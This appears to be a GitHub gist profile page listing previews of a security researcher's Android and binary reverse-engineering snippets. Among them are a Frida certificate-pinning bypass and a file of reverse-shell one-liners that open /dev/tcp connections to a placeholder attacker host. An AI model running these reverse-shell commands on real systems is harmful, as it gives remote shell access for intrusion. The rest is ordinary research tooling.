Skip to content

Instantly share code, notes, and snippets.

View jcalabres's full-sized avatar

Joan Calabrés jcalabres

View GitHub Profile
@jcalabres
jcalabres / crypto_pinning.js
Last active August 29, 2023 20:16
Pinning Bypass + Crypto Hooks
Java.deoptimizeEverything()
Java.perform(function () {
hookCrypto()
enable_cert_unpinning()
});
var printBacktrace = function () {
Java.perform(function() {
var JLog = Java.use('android.util.Log'), JException = Java.use('java.lang.Exception');
@jcalabres
jcalabres / monkey_dump.py
Last active June 27, 2020 10:37
Automates unpacking process.
# by jcalabres
"""
$1=APK PATH
"""
import os
from os import system
from sys import *
PRODUCTION=False
UNPACKER="FRIDA-DEXDump"
@jcalabres
jcalabres / android-re.sh
Last active February 21, 2020 21:43
Android RE Bash Utilities
adb root
function jdwp-attach(){
adb jdwp
adb forward tcp:7777 jdwp:$1
echo "suspend"; cat; } | jdb -attach localhost:7777
}
function get-package(){
adb shell pm list packages | grep $1 | cut -d ":" -f 2
@jcalabres
jcalabres / FunctionsBacktrace.py
Last active January 12, 2020 13:57
Ghidra functions and strings backtracing
#by jcalabres
import ghidra.framework.Platform
fileinput=open("/root/ghidra_scripts/functions.txt","r")
fileoutput=open("/root/ghidra_scripts/functions_out.txt","w")
separator = "*"
def printAndWrite(line):
print(line)
fileoutput.write(line+"\n")
@jcalabres
jcalabres / ReverseShellsOneLiners.txt
Created November 21, 2019 11:48
Reverse Shell One Liners
nc -nvlp 4444
#Bash
exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/attackerip/4444
cat <&5 | while read line; do $line 2>&5 >&5; done # or:
@jcalabres
jcalabres / installer.iss
Last active April 24, 2021 11:56
Inno Setup Windows Installer
; Script generated by the Inno Setup Script Wizard.
; SEE THE DOCUMENTATION FOR DETAILS ON CREATING INNO SETUP SCRIPT FILES!
#define MyAppName "{APPNAME}"
#define MyAppVersion "{VERSION}"
#define MyAppPublisher "{PUBLISHER}"
#define MyAppURL "{URL}"
[Setup]
; NOTE: The value of AppId uniquely identifies this application. Do not use the same AppId value in installers for other applications.
@jcalabres
jcalabres / getgists.py
Last active January 12, 2020 13:57
Get all the gists of a user
# Download all public gist for a user
# by using v3 gist api (https://developer.github.com/v3/gists/)
import requests, json
from pathlib import Path
headers = {"content-type" : "application/json"}
url = 'https://api.github.com/users/jcalabres/gists'
r = requests.get(url, headers = headers)
@jcalabres
jcalabres / unicorn_example.py
Last active October 10, 2019 21:34
Unicorn emulation example
#!/usr/bin/env python
from __future__ import print_function
from unicorn import *
from unicorn.x86_const import *
from capstone import *
import sys
#******* Architectures (from unicorn.h) ******************************************************************
# typedef enum uc_arch {
@jcalabres
jcalabres / ld_preload.py
Last active June 18, 2023 14:35
Automatic LD_PRELOAD on Android
from adb.client import Client as AdbClient
from sys import *
import os
if __name__=="__main__":
print("[*] Simple script to automatize LD_PRELOAD process on android applications.")
if len(argv)!=3:
print("[-] Specify PACKAGE_NAME and PATH_LIB.")
exit(0)
package=argv[1]
@jcalabres
jcalabres / jni_all.h
Last active February 1, 2024 00:16 — forked from Jinmo/jni_all.h
JNI types for IDA Pro/Ghidra
/*
* Copyright (c) 1996, 1998, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*